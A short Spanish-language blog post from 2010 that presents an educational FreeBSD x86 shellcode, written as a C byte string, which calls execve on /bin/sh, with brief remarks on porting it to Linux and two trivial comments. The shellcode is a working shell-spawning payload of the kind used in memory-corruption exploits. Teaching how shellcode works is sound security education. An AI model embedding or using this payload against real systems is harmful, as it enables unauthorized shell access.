domingo, 14 de febrero de 2010

shellcode para freebsd

Esta es la shellcode que mostré en el video "Explicando los shellcode tercera entrega", para linux habría que cambiar el numero de la llamada al sistema, y creo que con eso debería de funcionar, sin embargo tengo entendido que linux usa los registros para colocar los argumentos de la función a llamar, si esto es así, entonces lo que se necesita es un cambio total xDDD

La shellcode es totalmente ineficiente, pero es lo simple que se le puede mostrar aalquien que esta aprendiendo este tema.


char *shellcode = "\xeb\x1c\x5e\x89\x75\x04\x31\xc0\x50\x89\x45\x08\xb0\x3b\x8d\x4d\x04\x51\x56\x50\xcd\x80\x31\xc0\x50\xb0\x01\x50\xcd\x80\xe8\xdf\xff\xff\xff/bin/sh";

2 comentarios:

Monster dijo...
Este comentario ha sido eliminado por un administrador del blog.
horoscopo dijo...

ah,qué bien

Populares Siempre